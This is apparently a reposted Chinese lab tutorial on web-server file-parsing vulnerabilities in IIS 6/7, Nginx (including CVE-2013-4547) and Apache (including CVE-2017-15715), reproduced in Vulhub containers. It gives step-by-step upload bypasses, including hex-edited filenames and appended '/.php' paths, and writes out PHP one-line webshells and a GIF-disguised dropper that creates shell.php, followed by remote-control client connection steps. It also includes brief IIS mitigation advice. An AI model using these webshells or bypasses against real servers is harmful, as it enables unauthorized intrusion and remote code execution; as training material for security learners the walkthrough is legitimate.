文件解析漏洞--IIS--Vulhub

embedded/2024/9/23 14:27:34/

文件解析漏洞

一、IIS解析漏洞

用windowserver2003安装IIS测试

1.1 IIS6.X

方法一:目录解析

在网站下建立文件夹的名字为.asp/.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

image-20240730164916230

1.txt文件里是asp文件的语法查看当前时间

image-20240730165151786

image-20240730165251530

方法二:畸形文件解析

​ 在IIS6处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx。

1.asp;.jpg文件内容为<%=now()%>

image-20240730165502527

image-20240730165616438

1.2 IIS7.X

​ 在IIS7.0和I1S7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php解析为 php 文件。

利用条件
  1. php.ini里的cgi.fix_pathinfo=1 开启
  2. lS7在Fast-CGl运行模式下
环境配置

下载phpstudy

网址:Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn)

image-20240730170055760

步骤二:配置 php.ini文件,将cgi.fix_pathinfo=1 前;删除…并重启…

image-20240730170308000

配置IIS的网站

GetShell

步骤一:将PHP一句话木马写到1.php并更改后缀为1.jpg上传到目标站点…利用解析漏洞进行访问…

http://172.16.1.65:8980/1.jpg/.php

下面的1.jpg写的是phpinfo();

image-20240730170758495

第二步:用菜刀、蚁剑连接

1.3:修复方式

#1.程序方面
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹。
2、取消网站后台新建目录的功能,不允许新建目录。#2.服务器方面
1、限制上传目录的脚本执行权限,不允许执行脚本。
2、过滤.asp/xm.jpg,通过ISApi组件过滤。 在httpd.ini加入了以下规则 ASP RewriteRule(.*).asp/(.*)/no.gif RewriteRule(.*).Asp/(.*)/no.gif RewriteRule(.*).aSp/(.*)/no.gif RewriteRule(.*).asP/(.*)/no.gif

二、Nginx解析漏洞

2.1:nginx_parsing

​ 这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。

利用条件
  • Nginx <=0.8.37
  • cgi.fix_pathinfo=1
利用姿势

Nginx的文件解析漏洞…和I1S7.0的解析漏洞同样的原理,因为 cqi.fix pathinfo=1 造成的解析漏洞…

PS:同样使用1.jpg/.php 方式进行绕过…

案例

步骤一:进入以下Vulhub路径并开启容器…

cd /nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps -a

步骤二:浏览器中访问网站…

http://192.168.30.131/

image-20240730171709964

步骤三:制作图片码上传

image-20240730171830476

image-20240730171836862

访问图片位置,在后方加上/.php

http://192.168.30.131/uploadfiles/969bd13f5b5a5d582c2a6ef02212b1ae.jpg/.php

image-20240730171928197

步骤四:用蚁剑连接shell

image-20240730172047154

GetShell

步骤一:在shell.jpg中写入以下代码…

GIF89a<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

步骤二:上传该图片并访问…紧接着利用解析漏洞执行其中的PHP代码

http://192.168.30.131/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/.php

访问jpg文件后缀加/.php解析成php执行

image-20240730173413299

然后访问shell.php页面为空

image-20240730173436198

蚁剑连接shell

image-20240730173505258

2.2:CVE-2013-4547

​ 此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。

影响版本

Nginx 0.8.411.4.3/1.5.01.5.7

利用姿势

步骤一:使用以下命令启动靶机并通过浏览器访问靶场页面.

cd vulhub-master/nginx/CVE-2013-4547x  //切换到靶机目录
docker-compose up -d     //打开环境
#靶场页面
http://101.42.118.221:8080#info.php
<?php phpinfo();?>

步骤二:直接上传 info.php 被拦截…

修改文件后缀为.jpg进行BP抓包上传—>filename在后面添加空格并给上.php 后,在16进制修改中将原本连个空格的 0x20 0x20 修改为如下即 0x20 0x00 进行发包…

image-20240730182936808

image-20240730183212194

放包后页面上传成功

image-20240730183236064

访问

http://192.168.30.131:8089/uploadfiles/shell.jpg%20%20.php

image-20240730183459480

抓包

image-20240730183527374

将%20%20替换成两空格,然后替换16进制从0x20 0x20 替换成0x20 0x00

image-20240730183714750

image-20240730183737683

放行,访问成功

image-20240730183801981

GetShell

如果上传

<?php @eval($_POST['cmd']);?>

里面有空格无法处理就会变成

image-20240730184050328

我们用这句话上传一个shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

用以上的方法加两个空格修改16进制即可

最后可以发现能访问到

image-20240730184457079

image-20240730184557046

蚁剑连接

image-20240730184634137

三、Apache解析漏洞

3.1:apache_parsing

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析就再往左判断。如1.php.xxxxx

利用姿势

步骤一:进入Vulhub靶场并执行以下命令启动靶场…

cd /root/vulhub/httpd/apache_parsing_vulnerability
vi docker-compose.yml 修改端口和版本号
docker-compose up -d

image-20240730185336766

步骤二:访问靶机并上传 shell.php.jpg 文件,文件内容为 phpinfo 函数

image-20240730185621458

image-20240730185631551

3.2:CVE-2017-15715

​ Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

影响版本

2.4.0~2.4.29

利用姿势

步骤一:进入Vulhub靶场并开启目标靶机,进行访问…

cd /root/vulhub/httpd/CVE-2017-15715
vi docker-compose.yml  //配置文件,修改端口和版本号
docker-compose up -d //开启

image-20240730190127043

访问

http://192.168.30.131:8091/

image-20240730190313421

步骤二:尝试上传一句话木马文件,发现被拦截…

然后抓包在evil.php后面加上空格,16进制0x20改成0x0a–>放包

image-20240730190639563

image-20240730190714926

访问evil.php文件

image-20240730190755689

蚁剑连接shell

image-20240730190818784


http://www.ppmy.cn/embedded/90562.html

相关文章

OpenCV||超详细的图像处理模块

一、颜色变换cvtColor dst cv2.cvtColor(src, code[, dstCn[, dst]]) src: 输入图像&#xff0c;即要进行颜色空间转换的原始图像。code: 转换代码&#xff0c;指定要执行的颜色空间转换类型。这是一个必需的参数&#xff0c;决定了源颜色空间到目标颜色空间的转换方式。dst…

C#实战 - C#实现MD5加密

作者&#xff1a;逍遥Sean 简介&#xff1a;一个主修Java的Web网站\游戏服务器后端开发者 主页&#xff1a;https://blog.csdn.net/Ureliable 觉得博主文章不错的话&#xff0c;可以三连支持一下~ 如有疑问和建议&#xff0c;请私信或评论留言&#xff01; 前言 在软件开发中&a…

计算机毕业设计选题推荐-校园服务系统-Java/Python项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

Python中读取文件(斜杠(/)与反斜杠(\)问题)

读取文件 在Python中读取文件首先要知道该文件的路径。而Python提供的函数Path()&#xff08;注意p要大写&#xff09;可以读取路径&#xff0c;该函数在库pathlib中&#xff0c;所以我们需要首先从模块pathlib中导入该函数。 然后读入路径后需要使用read_text()方法去读入这…

TypeScript 装饰器详解

目录 装饰器 介绍 基本语法 类装饰器 方法装饰器 属性装饰器 参数装饰器 组合装饰器 装饰器工厂 总结 装饰器 介绍 TypeScript 中的装饰器&#xff08;decorators&#xff09;是一种特殊类型的声明&#xff0c;可以附加到类声明&#xff0c;方法&#xff0c;属性或…

【Golang 面试 - 进阶题】每日 3 题(七)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/UWz06 &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏…

Dubbo源码深度解析(二)

接着《Dubbo源码深度解析(一)》继续讲&#xff0c;上篇博客主要讲Dubbo提供的三个注解的作用&#xff0c;即&#xff1a;EnableDubbo、DubboComponentScan、EnableDubboConfig。其中后两个注解是在EnableDubbo上的&#xff0c;因此在启动类上加上EnableDubbo注解&#xff0c;等…

【Vue3】组件通信之provideinject

【Vue3】组件通信之provide&inject 背景简介开发环境开发步骤及源码总结 背景 随着年龄的增长&#xff0c;很多曾经烂熟于心的技术原理已被岁月摩擦得愈发模糊起来&#xff0c;技术出身的人总是很难放下一些执念&#xff0c;遂将这些知识整理成文&#xff0c;以纪念曾经努…